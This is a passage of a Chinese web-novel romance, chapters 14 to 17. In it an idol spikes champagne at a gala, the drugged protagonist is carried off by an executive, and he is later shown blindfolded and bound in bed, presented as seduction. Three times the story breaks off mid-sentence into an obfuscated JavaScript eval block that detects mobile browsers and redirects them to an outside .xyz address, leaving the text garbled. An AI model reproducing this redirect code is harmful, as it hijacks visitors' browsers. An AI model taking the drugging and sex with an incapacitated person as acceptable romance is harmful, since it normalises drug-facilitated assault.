叶格桑刚从休息室出来,大约是身体已经恢复了。照理说,卫总刚来他就进了休息室,两人到现在连照面都没打,他出来以后应该第一时间跟卫总打招呼寒暄才对,这是基本的礼节。
可他现在这是在做什么?
欲擒故纵?
装高岭之花,拿乔,等卫总主动?
周玺搞不懂叶格桑的想法。
他正眼观六路耳听八方着,忽然就见卫珩动了,只见他放下酒杯站起身,跟旁边准备跟他寒暄的人点了下头,指了指洗手间的方向,应该是要去上厕所。
好机会!
周玺的眼睛倏地亮了起来。
宴会厅的洗手间非常宽敞,并非单一的马桶隔间跟洗手台,而是分隔成了好几块,有单独的化妆间、等待间、淋浴间,甚至还有放着工作台的小型工作间。
当真是富豪的厕所比普通人的家都宽敞豪华得多。
在这样的洗手间里,不论做点什么……都不愁不合适。
周玺又想起经纪人的话:
“最好是在卫总去洗手间的时候下手,顺利的话,就先在里面等待间的大沙发上来一发——两发三发四发也行,自己把握。
然后等搞嗨了,就让卫总带着你去楼上他的总套,到时候就来多少发都行了,连干他个三天三夜都行。放心,其他所有工作我都帮你找借口推掉。”
……
周玺咽了一口口水,握紧了手上的小药瓶,紧张地再次确认好瓶口上的数字,这才出动。
恰好酒店服务人员端着一盘香槟过来,周玺跟服务人员要了两杯,然后将那两瓶药水分别倒入香槟杯中。
他在卫珩去洗手间的必经之路上拦住了他。
“卫总。”周玺放软了声音,轻咬嘴唇。
他一边想着勾引男人应该要楚楚可怜些,一边又不自觉地满脑子都是叶格桑的脸,下意识想模仿叶格桑的神态气质。
可叶格桑从不是楚楚可怜的——他的气质清冷、孤高,待人的态度却又很温和;或许因为身体不好,时有脆弱感。
但那种脆弱并非弱势,更绝非讨好。
周玺想象着叶格桑的模样,凹了许久,努力想要凹出叶格桑那种隐隐的脆弱感,殊不知在旁人看来是何等的矫揉造作。
卫大BOSS眉峰微挑,俯视着他,沉默不语。
“卫总,不瞒您说,我一直非常仰慕您。刚才敬您红酒的时候太过冒昧失礼,我已经反省了,还请您大人不记小人过,原谅我的冒昧……我重新敬您一杯。”
周玺可怜巴巴地瞅着卫珩,勉力做出最柔弱无助小白花的姿态,他身形本就娇小,故作柔弱无助倒也不显得太违和。
香槟杯已经被递到了手边,卫珩却还是没接。
他冷淡地:“我没有放在心上,更谈不上原不原谅。抱歉,我不喝来历不明的酒。”
说罢就晾着周玺,转身大步向前走去。
周玺愣愣站在原地,还维持着手捧酒杯的姿势,怎么也想不到,这位卫氏集团的总裁竟是如此不近人情。
明明其他人敬他酒他也喝了,为什么独独对自己这样?
周玺咬牙。
他不明白。
周玺的经纪人一直在暗暗观察这边,见状赶紧过来给他家艺人支招——怎么怎么继续伺机而动,如何如何接着死缠烂打——总之这杯酒是势必要跟卫珩喝下去的。
经纪人:“那药我可是好不容易才弄到的,不能浪费了。”
周玺能一路走到今天全靠这个经纪人精心筹谋,更何况他也有野心。
于是便按照经纪人说的,坐在离洗手间最近的沙发椅上,静等卫珩出来。
吧台上的托盘里放了满满一盘香槟,周玺将自己的那两杯混入其中,一杯放在自己身前,另一杯则放在外围、靠近吧台口最易拿取的位置。
.
格桑懒洋洋地趴在沙发上,周玺跟他精心筹谋的酒盘恰好就在他前边不远处。
他看着周玺紧绷的背影以及那一整盘金色香槟,百无聊赖地对系统道:【你说,如果我用对付宋樑的法子如法炮制,去刷卫珩的爱慕值,是不是有点不自量力?】
【有点。】系统是个老实系统,【卫珩这人不太通人性。】
格桑凉凉地:【也是轮到你说别人不通人性的时候了。】
……
不过系统说的也没错,原著中的卫珩疑似无性恋,在主角团所有人都是铁直男的情况下,卫烽这位小叔却从始至终没对任何男男女女产生过一点兴趣。
他唯一的兴趣就是搞事业……还把叶格桑家搞破产了。
讨人厌的男人。
后边有人把周玺叫走了,似乎有急事。周玺犹豫了一会儿,还是暂时放下了他的酒,应了一声就过去了。
也是巧了,周玺走后不久,卫珩就从洗手间里出来了。
从洗手前正面往前走一段就是吧台,卫珩的目光在吧台边沿的香槟托盘上停留了一会儿。
不过也只是停留了一小会儿,收回视线后,就跟那团趴在沙发背上的懒猫撞了个眼对眼。
后者仍懒散地趴在那儿,见卫珩看他,纯良但敷衍地笑了笑:“卫总。”
“你就是叶格桑?”卫珩问。
“是我。”
“身体好点了?”
“好多了,劳烦卫总挂心。”
看清叶格桑的样貌后,卫珩第一反应是——不算辱没了那只手,甚至更甚之。
第二反应——此人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093471|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
模样让他联想到卫家大小姐——也就是卫烽的姐姐卫曦养的那只布偶猫。
那猫是卫曦乘专机亲自飞到LA的繁育人那里接回来的,卫珩不懂,只知道血统十分纯正,祖上二十几代都是在最正统的血线中优中选优出的后代,卫曦很喜欢。
卫珩在卫家主宅第一次见到那只猫的时候,它也是这样,懒洋洋地趴在沙发上,打理着自己丝绸一样的长毛,间或扫他一眼。
在卫珩跟它说话时,小猫便惫懒地“喵”一声,然后头都不抬地继续舔毛。
卫曦还很雀跃地在旁边说:“你看,你看,小叔,她喜欢你耶!”
卫珩是一点没看出那只猫有哪里喜欢自己。
……不过倒是,确实勾起了他想逗逗那小家伙的心。
“喝一杯?”
卫珩有点想看看这只懒猫变成醉猫的样子,随手从身旁的酒盘上拿起一杯香槟。
如果是往常,卫珩八成不会直接拿取一杯来路不明的饮料来喝,但也不知是不是今天宴会厅里的水晶灯太晃眼,晃得他眼睛和神智都落在叶格桑微透的衬衣上,以至于忘记了自己的一贯原则。
格桑总算从沙发上坐起来:“卫总,这盘子里的酒有毒。”
卫珩这才稍稍回神,皱眉:“……有毒?”
“嗯,要不然我给您试毒?”叶格桑神色如常地吐出惊人之语。
“……”
卫珩竟一时语塞,如果是别人说这种话,他想必会直接无视,大步离去,但眼前小顶流的神情天真柔软,他也不知是被什么东西迷了心窍,竟一时也无法分辨对方是不是别有用心。
最后卫珩只是喉头微动,放下那杯酒,道:“你怕不是病糊涂了。别说胡话,你是我的客人。”
“没事,毒不死人的。再说了,卫总不是有世界顶尖的医疗团队么,我相信卫总不会见死不救的。”
格桑说罢,一条猫一样软绵绵地爬起来,走到吧台边,端起酒盘里的另一杯酒,直接一饮而尽。
一杯香槟下肚,瞬间脑子里系统提示【叮】的提示音响起。
【主角阵营二号卫珩雄竞值负数,数值转换中……】
【主角阵营二号卫珩雄竞值转换成功!】
【主角阵营二号卫珩爱慕值:+1】
……才+1?
格桑承认自己是蓄意勾引——但他都蓄意勾引了,才加这么点???
这卫大BOSS挥挥手动不动几百亿的生意,这方面居然这么小气。
小猫差点气成河豚。
不过身体里的热度比气性蒸腾得更快。
河豚纵然有剧毒,熟透了,却是无上珍馐。
格桑手指掐着吧台桌沿,按捺住体内渐渐喧嚣尘上的热度,每一根神经元似乎都在以成倍的速度变得更加敏感。
好像……有点失算了。
……他还以为只有卫珩的那杯有问题。
格桑暗自懊恼,面上却不显,另一只手跌跌撞撞摸到了刚才卫珩拿的那个酒杯,冲着卫珩笑了笑。
“……错判了,没毒。
“喝都喝了,总不能我一人独享——不然卫总也来尝尝?”
醉酒的红晕如浸了水的胭脂般在青年的眼下晕开,原本因病而苍白的肌肤泅上了艳色。
卫珩如被钉子钉在了原地,再难向前迈出一步。
15. 第十五章
卫烽好不容易找到空隙,甩开了盯着他们的选管,从宿舍区后侧的小门偷溜了出去,终于嗅到了自由的芬芳。
要不是为了进演艺圈刷点知名度,鬼才会进这破地方坐牢,他卫家三少长到这么大还从来没人这么限制他的人身自由呢。
就连他家老头子都没这么离谱过。
节目录制地点在远离市区的半岛上,这个点了根本打不到车,连共享单车都没有。
卫烽在夏夜的海岛岩滩上走了许久,认输了,想打个电话叫卫珩派车来接他。
……手机没有信号。
节目主创们前去赴宴的车已经离开很久了,一看时间0点都过了,他这晚得不是一星半点。
夜晚的荒郊野岛,连个路灯都没有,地上更是崎岖不平。所幸卫烽不是娇生惯养的大少爷——卫家就没有娇惯孩子的先例。
卫氏的子孙,不论男女,从小都要经历一段“斯巴达式特训”,从体能训练到野外求生,再到分文没有地扔去人生地不熟的大都市,要求他们生存下来并赚到第一桶金——此类魔鬼训练伴随他们的成长。
因此卫烽除了感慨时间晚了以外,丝毫不乱,坐在岩滩礁石上思考了一下该往回折返还是继续朝前走,没想到运气不错,恰好路过一辆当地农民的皮卡,卫三少当即挥着手机灯拦在车前:“捎一程!捎一程!!劳驾!!”
那车是本地农□□西瓜的,农民人不错,操着一口方言艰难沟通了几句,放卫烽上了车。
堂堂卫氏集团三少爷便就这么坐在西瓜堆里,被皮卡吭哧吭哧运走了。
待到出了最偏僻的半岛区域,手机才终于有了信号,不过还是不好打车。卫烽想给大爷点钱让大爷把他再往繁华地带捎一段,在身上东拼西凑摸了半天也只摸出二十块钱现金。
大爷摇了摇头。
“不要钱?”卫烽被人性的温度折服了。
大爷又摇了摇头,掏出一张收款二维码。
卫烽:“……”
最后卫烽给大爷扫了200块钱,小皮卡再度吭哧吭哧地发动,一步三颠地将卫家三少运进了城。
卫三少坐在他的敞篷座驾上,只觉得颠得心肝脾肺都要错了位。
但一想到很快就能见到叶格桑——还是在非工作场合的、私下的叶格桑——卫烽错了位的心肝脾肺又都激动得乱跳。
.
格桑先前就注意到了鬼鬼祟祟的周玺,他自然也能猜到那酒里放了什么东西。
他亲眼看着周玺将那两杯酒混进托盘的酒中,可以想见他为卫珩准备的那一杯应该加了不少料,但他没想到周玺对自己也会下手这么狠。
失算了。
但现在也只能就坡下驴。
“哗啦”——
格桑手指脱力,碰到刚喝完的香槟杯,杯子摔下了地,从高高的吧台坠到高脚凳腿上,玻璃摔得四分五裂。
药物简直像直接注射进血管一般,在体内疯涨,伴随着野蛮滋生的欲望。格桑手指在桌沿上捏得发白,眼前一片朦胧的水雾,视物模糊。
那只端着另一杯香槟的手同样微微颤抖,金黄色的液体在杯中左右摇晃,艰难地维持住平衡。
格桑不收手,他就这样咬着牙,尽力克制,递上酒杯,悬停在卫珩面前。
卫珩眯着眼定定看着他,眼神有些复杂:“确实有人做了手脚。”
“好像是。”格桑无辜地笑笑,仍未收回手。
卫珩只是对情爱之事兴趣不大,不代表他真的不解风情。
明知道酒里下了药,自己喝了也就罢了,还让他也喝……这已经不只是试探了。
这是理直气壮毫不避讳的勾引。
那些关于叶格桑私德方面的负面传闻如同一阵风一般从卫珩脑海中掠过,又如一阵风般消散无踪。
没有留下一点痕迹。
他眼中只有这个手腕颤抖、却依然目光挑衅地注视着他,正大光明勾引他的漂亮青年。
那是对自身魅力的绝对自信。
跟刚才那个周玺不同,没有摇尾乞怜,没有弱势谄媚,没有楚楚可怜,没有对被拒绝的恐惧。
金贵的布偶猫变成了漂亮的小狐狸,亮出九条大尾巴,大大方方地坐在他身前舔爪子,“是啊,我就是在勾引你——那又如何?”
这本该是你的荣幸。
……
卫珩倾身向前。
他一只手牢牢攥住那只脆弱的、不停颤抖的手腕,另一只手接过那杯香槟,在小狐狸计谋得逞的弯弯眼下……将整杯酒倒到了地上。
金色的香槟酒液浸透了地毯,格桑愣了一下,脑子里一片混沌中闪过:这货真是无性恋啊。
然而下一秒,被盖了无性恋戳的卫大BOSS就圈住了他摇摇欲坠的腰。
这是个常年坚持健身跟卫家特有斯巴达式户外训练的成年男人,格桑些微慌张,往下看去,只看见一条有力的胳膊,被灰色条纹衬衫包覆着,隐隐能看见衬衫袖子布料绷紧下的肌肉线条。
……一只手臂,快抵他腰那么粗了。
格桑后知后觉地恐慌。
身体的力量过于悬殊,卫珩似乎也不像他狐狸尾巴挠过的别的男人一样乖巧听话、愿意唯他的命是从。
格桑迅速下了判断——这位卫氏的年轻掌权人,相当地不受控。
逐渐混沌的大脑拼着最后一点CPU飞速运转了一下,格桑绝望地发现,他今天简直失策得离谱。
不仅错判了周玺的药,更错判了卫珩的……危险性。
于是他抬手抵住卫珩,装傻道:“卫总这是在做什么……我能站稳的。”
“你应该很清楚我在做什么吧。”卫珩,“我很确定是你先邀请的。”
“我没……”
格桑还想挣扎着狡辩一下,卫珩已经凑到了他的耳边。
男人的呼吸喷吐在最柔软的耳垂上,让格桑一颤:“不过我应该提前告诉你……如果只是做那种事,倒也不用酒或药来助兴,不然你可能承受不了。”
格桑:“…………”
他后悔了。
系统商城会有后悔药卖么?
系统:【没有哦宿主。】
系统:【叮叮叮!主角阵营二号卫珩爱慕值:+10】
卫珩长臂一捞,轻轻松松一只手将格桑抱了起来,格桑就这么怔怔看着自己双脚离地,清晰地感到自己对身体的控制权也随着双脚一起脱离了地面、
格桑团成一团,窝在卫珩怀里,他单薄的后背就贴着对方健硕的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093472|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胸肌,那肌肉随着对方的呼吸微微起伏搏动,像活火山地脉。
……
他真的后悔了。
他肠子都悔青了。
这天杀的爱慕值。
还不如给主角团当狗呢,起码当狗只是尊严扫地,搞这个,玩脱了可能会被搞死在床。
格桑懊恼着,与此同时体内药效蒸腾,热烫又空虚,整个人软成了一滩水,瘫软在卫珩怀里。
男人的鼻息喷在他颈侧,小狐狸垂着头,身体微微战栗。
这男人给人的感觉太过危险了。
……
所幸这里还是宴会厅中,许多人也一直留意着卫大BOSS的动向,注意到这边的情况,立马有不少人围拢过来。
格桑看上去状况不太好,被卫珩单手抱在怀里,下巴恹恹地靠在卫珩肩膀上。
鉴于他的那些不良历史,有的人看他的眼神就有些微妙了。
尤以周玺为最。
周玺刚被人叫去说了点事,等回来的时候就瞧见这般场景——吧台上的两杯酒不翼而飞,而卫珩就站在吧台前,怀里抱着叶格桑。
这场面简直让他两眼一黑。
同样脑子“嗡”一声的还有宋樑。
他一曲德彪西赢得满堂喝彩,唯独没有收获他最想要的目光,宋导师索然无味,从琴凳上站起来后他再次不自觉地在宴会厅里梭巡叶格桑的身影,然后亲眼看见卫珩伸出胳膊圈住叶格桑,把后者从吧台前抱了起来。
宋樑脑子里的弦都断了,不明白自己秀个才艺的工夫,怎么事情就发展成这样了。
愤怒比理智先行,一贯斯文儒雅的男人破开人群,直接堵在了卫珩面前。
“卫总这是在做什么?”
卫珩淡淡瞥了他一眼:“他身体不适。”
宋樑朝后边的休息室抬了抬下巴:“格桑身体一直不好,身体不适,旁边有床,酒店有医护,不用劳烦卫总亲自把人抱走。更何况,您这么抱着,他也不会变舒服。”
卫珩眯起了眼。
格桑被那天杀的药物折磨得浑身滚烫大脑混沌,但依然敏感地嗅到了空气里劈啪作响的火药味。
转头看去,果然,宋樑正跟卫珩对峙,谁也不错开一步。
他用灌了浆糊一般的大脑艰难地思考着:
他不想被卫珩日——尤其是现在这种人为刀俎我为鱼肉的状态。
如果趁这个机会溜掉,就算落到了宋樑手上,总比卫珩好。
宋樑总归是会听他的。
卫珩太不受控了。
于是格桑哑着声:“宋樑老师,我好像有点发烧……你去叫我助理跟经纪人带我去医院吧,不用劳烦卫总。”
这句话音落地,格桑明显感觉到抱着他的卫珩手臂一紧。
男人敛目俯视他,目光幽深。
卫珩用只有他能听得见的音量,压着眉峰道:“——你一贯都是这样,撩完人就跑么?
“对别的男人,比如他……也是如此?”
最后一句的声音低沉喑哑到格桑以为是自己听错了。
因为这话十分不符合卫珩性冷淡霸道总裁的人设。
“坏习惯是要惩罚的,打屁股还是绑起来,选一个?不选的话,就一起来。”
16. 第十六章
格桑以为自己听错了。
卫珩这人看上去人模狗样的,私底下居然是这样的变态。
他脑中警铃大作,拼着仅剩的一点气力想溜之大吉,卫珩的胳膊却纹丝不动,轻轻松松将他圈住。
此人面上还十分正经,对包括宋樑在内的其他人道:“叶格桑老师身体不适,是我做东招待不周,我带他去找我的私人医生看看,各位接下来自便就好,不用有所顾忌。”
说罢抱着格桑,错开一步,与宋樑擦身而过。宋樑抬手想抓住卫珩胳膊,但被守在一旁的保镖拦截了。
他唯有怔愣盯着卫珩身侧那两条无力垂落的小腿,裤腿因褶皱向上卷起了一点,露出一截纤弱玉白的脚踝,每一荡都像狠狠荡在宋樑心上。
与在场一部分酒精上脑搞不清状况的围观群众不同,对于接下来会发生什么,宋樑再清楚不过。
他心中有鬼,自然能辨认同类。
可他却无力阻止。
【主角阵营四号宋樑爱慕值:+30】
【主角阵营四号宋樑立场波动,脱离主角阵营】
【世界线主题变动中…………】
世界线主题变动?
卫珩走路很稳,格桑窝在他怀中丝毫感受不到颠簸,除了对方火热的鼻息和胸肌的轻微收缩震荡,竟是出奇地安稳。
在意识陷入愈加混沌的深渊时,格桑隐隐听到系统的提示。
却早已无力思考……
.
卫烽抵达克林徳酒店的时候已经过了凌晨一点半,酒店位于市中心最繁华的地段,这个点街上也已经灯火阑珊,唯有酒店花园跟一楼玻璃幕墙外仍华光闪烁。
卫三少抖了抖衣服上蹭的灰,又抹了把脸,大步跨进酒店大堂,第一句话是:“卫珩的宴会还办着呢么?”
第二句,“给我拿套换洗的新衣服来,我去冲个澡。”
他感觉自己身上一股西瓜皮混着土腥味儿,跟条刚从泥地里爬出来的蚯蚓似的。
前台服务人员给他说懵了,上下打量眼前这衣服上还沾了少许沙土的狼狈青年:“请问您是卫总的客人吗……?能否出示一下身份证明——”
卫烽不耐烦地拍了个东西在桌上,服务人员拿起看了一眼,是一枚穿着银链的戒指。
戒圈看上去是白金,上面镶嵌的蓝色宝石即便在前台稍暗的灯光下仍光华璀璨,一看就价值不菲。
前台服务人员更懵了,她是新来的,很多东西还不是很熟悉,寻思着这人是要拿戒指做抵押?所幸酒店经理及时赶到,给她解了围。
前台见他们经理双手递还那枚戒指,毕恭毕敬地把那个脏兮兮的青年领去了VIP室,又找了套新的男装亲自送进去,十分好奇。
“经理,那蓝宝石戒指是什么呀?这位是什么大人物吗?”等经理忙完,她忍不住八卦道。
经理瞪了她一眼:“什么蓝宝石?那是蓝钻!”
他恨铁不成钢地,“下个星期你就给我去重新参加培训去,咱们顶头大大大BOSS的家族证明戳都不认得,你能接待什么贵客啊?
“白金项圈,做了特殊切割工艺的宝石,还有项圈上的刻字,每一位卫氏家族成员都有,越是稀有的贵宝石,证明在卫家的身份地位越高。
“卫珩卫先生的是顶级祖母绿。蓝钻,是卫家这一代的嫡三少爷卫烽的。”
骂骂咧咧地说完,经理又长叹一口气,不再搭理那什么都不懂的新人前台,看了一眼墙上的古董挂钟,摇摇头,“大半夜的值夜班,顶头大BOSS一个个来开会,唉……什么破运气……”
……
卫烽五分钟迅速冲了个战斗澡,换上酒店经理给他送来的新衣服,干干净净的休闲常服,很合身。
经理就守在门口,见卫烽出来,朝他90度鞠躬:“三少爷,卫先生的宴会还没有散场,有一部分客人先走了,还有一部分客人在宴会厅中,不过卫先生已经先行离开了。”
“卫珩自己走了?去干嘛了?”卫烽扒拉着半干的头发,边往外走边不甚在意地问道。
“这个……”经理垂目,“抱歉,可能不太方便透露给三少爷。”
就算都是卫家的成员,但大家族就像大公司,利益关系比血浓于水更深重,卫氏的不同家庭成员之间,什么程度的信息可以共享,什么程度的属于个人隐私,作为底下的工作人员,还得有眼色,自行判断。
酒店经理不由想起那个被卫珩一路抱上楼上他的私人总套的青年……他没有看清青年的脸,但光是惊鸿一瞥的一个侧影,就足够让人浮想联翩了。
是艺人么?
片刻的走神,经理很快又将思绪拉回来。
“算了,没事。”卫烽随口道,“你先带我去宴会厅,卫珩的私事处理完了估计会下来找我,我等着就行。”
“好的,三少爷请随我来。”
卫烽边跟在经理身后,踏上自动传送带,边向前进,同时低头嗅了嗅手肘衣袖。
他刚刚洗完澡以后特地喷了点古龙水,此刻身上散发着成熟男人淡淡的木质香调,他很满意。
一想到马上就要见到叶格桑,就控制不住上扬的嘴角和怦跳的心脏。
卫烽戴了个黑色口罩,从后门偷偷进了宴会厅,酒过三巡的一群人都没发现他,他站在后门处环视一圈,没看到叶格桑的身影。
其他三个导师倒是都在,但不知道为什么,宋樑跟周玺都一脸如丧考妣,尤其是宋樑,似乎很是沮丧气闷。向来讲究的男人衬衫皱了,扣子解开好几颗,坐在吧台前对着威士忌瓶子发呆,背影竟有几分颓唐。
周玺则蔫蔫地坐在桌前抠手。
卫珩这饭请的,怎么一副宾主尽不欢的样子。
卫烽抓了个服务人员,问:“叶格桑呢?不会提前走了吧?”
他本来都已经酝酿好了,进来以后就要找个机会,假装不经意地坐到叶格桑旁边,跟他喝两杯,然后借着酒意,就可以轻描淡写地道个歉。
都好多天没见着叶格桑了,两人毕竟也是导师跟学员的关系,他今天晚上在走廊上对叶格桑做的事说的话……确实是鲁莽了。
也难怪叶格桑会生气。
卫烽不愿意承认,但他一想到叶格桑可能在心里把自己拉黑了,就有点慌。
……还是得想办法跟叶格桑服个软认个错才行。
服务人员已经得了经理的知会,知道这位是卫家三少。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093473|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是踌躇片刻,老实答道:“叶先生身体不适,卫先生把他带走了。”
“带走了?”卫烽愣住,“带去哪了?卫珩不是有事要处理回他自己楼上套房去了么?”
“抱歉啊三少爷,这个我不清楚。”
“……”
卫烽不甘心,又抓了两个服务人员,但得到的都是相同的答案,所有服务人员似乎都统一了口径。
某种不妙的预感一闪而过,很快又被理智压了回去——不可能。
换作任何一个人,他都有理由这么怀疑……可那个人是卫珩啊!他那个疑似对除了工作跟赚钱以外的任何东西都毫无兴趣的工作狂小叔!
卫烽从小到大,别说看卫珩带女人或者男人回家了,他甚至没看过卫珩跟人拉过小手。他如今也30了,家里长辈其实都为他的婚事着急,但一想到卫珩这样,又没人敢直接催。
他也果然不负众望地至今维持着0绯闻的战绩。
所以,这不可能。
卫烽果断否决了刚刚心里莫名冒出的诡异念头。
卫珩不在,叶格桑不在,那他留在这里也毫无意义,卫烽从一旁路过的服务人员的托盘里拿了杯红酒,喝了两口润了润喉——连轴转好几天,公演结束又从远郊折腾到这里,就是铁人也有点累了。
所幸,他年轻,健康……勇猛。
坐上一会儿,也就原地满血复活了。
卫烽直接离开了宴会厅,去了酒店二十二楼卫家专属的休息套间,这里单论豪华程度不输卫珩自留的总套,只是没有那么多独属于卫珩的定制化家居设计。
随手打开电视,他打算先休息一会儿,等卫珩忙完了,直接去找卫珩问叶格桑的事。
高档按摩椅只用了十分钟就舒缓了卫烽的疲劳,电视里随手点开的节目,居然叶格桑是嘉宾。
这是一档户外竞技类综艺,还挺火的,叶格桑是常驻MC,卫烽这几天在“考古”叶格桑的时候也看了一点,不过毕竟还在选手营地里,日程太忙,他就看了个开头就没时间继续了。
卫三少爷瘫在按摩椅里,懒洋洋地看着综艺,一边感慨这种节目真是有够弱智的,一边津津有味观摩叶格桑出现的每一个镜头。
户外竞技综艺都大同小异,游戏竞技中,嘉宾们有些身体接触在所难免,甚至有时候是激烈的肢体碰撞。
当某位男嘉宾为了抢球,一把把叶格桑扒拉过来,借着体重优势,轻松把叶格桑按在地上,甚至状似无意地抚过他的大腿根时,卫烽不爽地眯起了眼睛。
——做游戏就做游戏,那手往叶格桑腰上大腿上摸什么呢?
这老色胚。
这男嘉宾他知道,之前他代替他姐出席某慈善晚宴的时候还打过照面,这老登平时一副清心寡欲的正人君子样,原来全是装的。
卫烽在心里暗骂。
按摩椅的一轮按摩正好结束,哒哒哒的震动声停了下来,屋子里安静了些许,卫烽的心尖上也像被羽毛轻轻挠了一下。
人么,都是知人知面不知心的。
……那卫珩呢?
万一——
会有这种万一么……?
卫烽忽然坐立难安起来。
17. 第十七章
卫珩的私人总套在30楼,他这小叔不喜被人打扰,因此整个30楼都是他一人的地界,也只有卫珩的专属电梯能上去。
卫烽如坐针毡了许久,电视里放的什么已经一点儿看不进去了,满脑子都是卫珩跟叶格桑在30楼做一些小视频中水雾朦胧隐晦难言行为的荒谬幻想……
“这绝对不可能……卫珩又不是那些傻缺暴发户二代——”
嘴里嘟囔着,卫烽还是控制不住自己的手,拿起手机给卫珩去了个电话。
那头唯有【嘟,嘟,嘟——】的等待音,一直嘟到【您拨打的电话无人接听,现在给您转到语音信箱……】
已经快凌晨2点了。
卫烽皱起眉头。
.
格桑被完全不透光的黑布蒙住眼睛,双手反束在床头。不能视物又动弹不得的状态,让对任何细微刺激都加倍敏感。
何况……还有药效。
绑着他手腕的布料相当柔软,虽然不能动弹,但竟丝毫感受不到疼痛,格桑意识混沌中愤愤地想:他被原书剧情骗了。
卫珩这哪里是书里描述的清心寡欲的和尚?
卫珩根本就是彻头彻尾的变态。
变态坐在床边,给他调整了一下束住手腕的布料的角度,让他的手臂得以更舒展,手腕也更舒适。
多么体贴的变态啊。
“很久以前就想过做这样的事。”卫珩语气淡淡的,但格桑本能地觉得这股平淡下暗藏着什么汹涌的东西。
“不过一直没有遇到合适的人选,就搁置了。凡事底层逻辑都差不多——合宜的对象,比要做的事情本身重要。”
“……唔!”格桑像一尾可怜的雪白小鱼一样猛地弓起背,弹起来。
变态手口不一,放柔和了声音:“不过你体质好像尤其弱,我会注意一些的,尽量不弄伤你。”
……
【主角阵营二号卫珩爱慕值:+10】
……
【主角阵营二号卫珩爱慕值:+15】
……
……
……
卫烽一整夜都没合眼,后来楼下宴会厅里所有人都散了,宋樑是最后走的,向来儒雅克制的男人喝得烂醉,是被助理扶上的保姆车。
卫烽看着宋樑的车灯在夜色中远去,转过头,眯眼盯着他抓来的卫珩的秘书。
秘书敛眉垂目,双手置于身前,不卑不亢:“三少爷。”
“三你个大头鬼的少爷,我问你卫珩在干嘛,为什么手机一直不接,都快凌晨三点了他忙什么公事呢?大老远把我叫来晾大厅里什么意思?还有,他到底把叶格桑弄去哪了?”
秘书一一回答:“三少爷,卫先生刚回国,可能还在处理A国那边分公司的事,我们跟A国有12小时时差,所以也许才要这个时间点工作;
“卫先生邀您前来自然是真心实意要跟三少爷谈公事,只是兴许是被别的要务绊住了,三少爷当然不用在大厅等着,三少爷尽管去楼上休息,等三少爷休息好了,卫先生那边的事应该也结束了,到时候两位再碰头就好。
“呃,至于叶先生……抱歉啊三少爷,我只是卫先生的秘书,处理的主要还是卫先生工作上的琐事。其他的事情,我也不太清楚,或许叶先生是身体已经康复了,自己回去了也说不定呢?
“您不用过于担心,卫先生一向周到,既然是卫先生做东,想必他会招待好每一位客人的。”
“可能,兴许,应该,或许,说不定——要不要再英法德日西全来一套?我怕你这模棱两可的词库不够用呢。”卫烽冷笑着说,“你到底是不是卫珩的下属?你老板的行踪对你来说这么飘忽诡秘呢?”
“……”秘书闭嘴了。
卫烽想到刚才气氛有些反常的节目主创团队人员,以及尤其反常的两个导师。
他确定之前的宴会上必定发生了什么事——只是一是以他现在的身份不方便直接去问宋樑等人,二是那群人喝得也稀里糊涂的,怕是说也说不清楚。
恰好余光捕捉到酒店经理正蹑手蹑脚绕过他们往后面员工区走,卫烽冷声叫住他:“给我调刚才宴会厅里的所有监控。”
“这个……三少爷……这涉及卫先生和其他客人的隐私,恕我们不太方便……”
“一个个的这不方便那不方便,看来只要是我想知道卫珩跟叶格桑在干嘛,就都不方便,是吧?”
卫烽脑子里的警钟跟心头的怒气一同喧嚣尘上,越来越觉得此事吊诡极了,“你们不要忘了,现在卫氏的家主还是我家老头子,不是卫珩,怎么一个个都拿卫珩的话当圣旨?你们叫我一声三少爷就是纯客气客气,是吧?”
在场所有人垂目,俯首,无人应答。
卫烽气得咬牙。
因为他知道,事实就是如此。
他才21岁,羽翼未丰,还从小乖张,不按照家族规划的路线走,所以尽管他才是那个从一出生就被寄予厚望的未来继承人,但所有人都是明面上尊他一声“三少爷”,实际个个唯卫珩马首是瞻。
如果……即便是万分之一的可能,如果卫珩真的对叶格桑有什么想法…………
他甚至连这么一个小导师,都无力从卫珩手里抢夺过来……
卫烽立在原地,手指握拳,用力到指甲狠狠陷进掌心,掐破了一层油皮,见了血。
他现在唯一能做的,恐怕就只有祈祷了。
祈祷一切真如卫珩那个秘书说的一样,他的好小叔只是在处理公事,而叶格桑早就趁着夜色离开了。
……但愿果真如此。
.
格桑睁开眼,还是漆黑一片。
他有许久不知今夕何夕,一时以为自己还在奥尔柳斯帝国奢靡的皇储卧房内,一时又怀疑自己是否在哪个倒霉的小世界,又要被男主弄死了。
